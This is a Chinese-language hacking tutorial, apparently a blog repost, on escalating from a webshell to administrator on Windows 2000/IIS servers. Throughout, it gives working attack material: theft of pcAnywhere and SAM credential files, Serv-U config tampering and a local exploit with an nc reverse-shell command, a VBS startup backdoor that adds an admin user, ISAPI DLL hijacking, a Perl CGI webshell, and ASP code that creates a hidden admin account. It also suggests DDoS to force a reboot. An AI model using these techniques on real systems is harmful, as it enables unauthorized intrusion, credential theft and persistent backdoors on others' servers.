通过webshell获得admin全攻略

作者:稻草人  QQ:16285939

话说到花了九牛二虎的力气获得了一个webshell,
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便
也给了我们方便,到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了
****************************************************************************
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,那么就会用到ftp,服务
器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~

好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,
启动servu添加了一个用户,设置为系统管理员,目录C:/,具有可执行权限
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。

用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id                       //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password                          //密码
230 User logged in, proceed.
ftp> cd winnt                             //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32                            //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe
文件加用户。

如果提示没有权限,那我们就
把后门(server.exe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)

存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:/Documents and Settings/All Users/「开始」菜单/程序/启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.
****************************************************************************
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件,
比如诺顿,VAdministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序,
绑定一个批处理或者VBS,然后还是等待服务器重启。
****************************************************************************
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。
****************************************************************************
第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites. dat,这个文件这是什么东西密码和用户名,
而且密码是加了密的。
如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件。然后会发现
打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦~~嘻嘻~

唔??不对啊,是来提升权限的啊,晕,接着来别半途而废。
大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。经过用xp星号密码
查看器查看,然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示,
然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦~~
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。
****************************************************************************
第五

WIN2K+IIS5.0默认情况下应用程序保护选项是“中(共用的)”,这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,
以SYSTEM权限加载的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll

所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test
%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的
远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"/"只识别了一个
"/",所以如果请求里面使用"/",就会错误的处理包含文件路径,有可能泄露东西或者出现权限
漏洞,这种漏洞很多别的地方( php、asp等)也还存在。

加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
一般默认情况下是:
1、 idq.dll             d:/winnt/system32/idq.dll
2、 httpext.dll         d:/winnt/system32/inetsrv/httpext.dll
3、 httpodbc.dll        d:/winnt/system32/inetsrv/httpodbc.dll
4、 ssinc.dll           d:/winnt/system32/inrtsrv/ssinc.dll
5、 msw3prt.dll         d:/winnt/system32/msw3prt.dll
6、 author.dll          D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_aut/author.dll
7、 admin.dll           D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_adm/admin.dll
8、 shtml.dll           D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/shtml.dll
9、 sspifilt.dll        d:/winnt/system32/inetsrv/sspifilt.dll
10、compfilt.dll        d:/winnt/system32/inetsrv/compfilt.dll
11、pwsdata.dll         d:/winnt/system32/inetsrv/pwsdata.dll
12、md5filt.dll         d:/winnt/system32/inetsrv/md5filt.dll
13、fpexedll.dll        D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/bin/fpexedll.dll

正常情况下这些路径都guest不能写,但如果配置不好,这些路径iis user能够写了就一样可以提升权限了

可以把ISAPIHack.dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。
然后等待IIS重启加载此dll,就可以获得权限了
****************************************************************************
第六

下载系统的 %windir%/repair/sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然后用L0pht等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
****************************************************************************
第七
PipeUpAdmin(Windows 2000下), 在本机运行可以把当前用户帐号加入管理员组。普通用户
和Guests组用户都可以成功运行。
****************************************************************************
第八
Serv-u Ftp Server 本地权限提升漏洞:
很多主机的C:/Documents and Settings/All Users/ Documents目录以
及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并
运行Exp.
直接上传了serv-u local exploit 和nc,
并且把serv-u的本地提升权限的名字命名为su.exe
文件就放在C:/Documents and Settings/All Users/ Documents,
然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe "cmd" 
>USER xl
>PASS 111111

反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

 

附另外一个高手的心得:

作者:WekweN http://www.wrsky.com

本篇文章结合了许多高手提升权限的技巧和自己的一些想法
当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:
1: C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
ps: 破解工具本站已提供。请自己Search一下!

2.C:/WINNT/system32/config/
进这里下它的SAM,破解用户的密码
用到破解sam密码的软件有LC,SAMinside

3.C:/Documents and Settings/All Users/「开始」菜单/程序/
看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:/
TimeOut=600
Maintenance=System
Access1=C:/|RWAMELCDP
Access1=d:/|RWAMELCDP
Access1=f:/|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限


4.c:/winnt/system32/inetsrv/data/
就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录
c:/php, 用phpspy
c:/prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html/r/n/r/n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2fig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>/r/n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "/r/n</PRE></HTML>/r/n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c/perl/bin/su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.ex ...  /G everyone:F"
http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.ex ...  /G everyone:F"
http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.ex ...  /G everyone:F"
http://anyhost//cmd.pl?c/perl/bin/su.exe "cacls.ex ...  /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:

http://anyhost//cmd.pl?c/perl/bin/su.exe " net l ... s IUSR_anyhost /add"


6.可以成功运行"cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:/winnt/system32/inetsrv/asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll""c:/winnt/system32/inetsrv/asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","an85$")
od.SetPassword "an85" <-----密码
od.SetInfo
Set of=GetObject(oz&"/an85$,user")
oe.Add(of.ADsPath)
Response.write "一个超级帐号建立成功!"%>


用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>

8.C:/Program Files/Java Web Start/
这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:/Documents and Settings/All Users/「开始」菜单/程序/启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。


总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值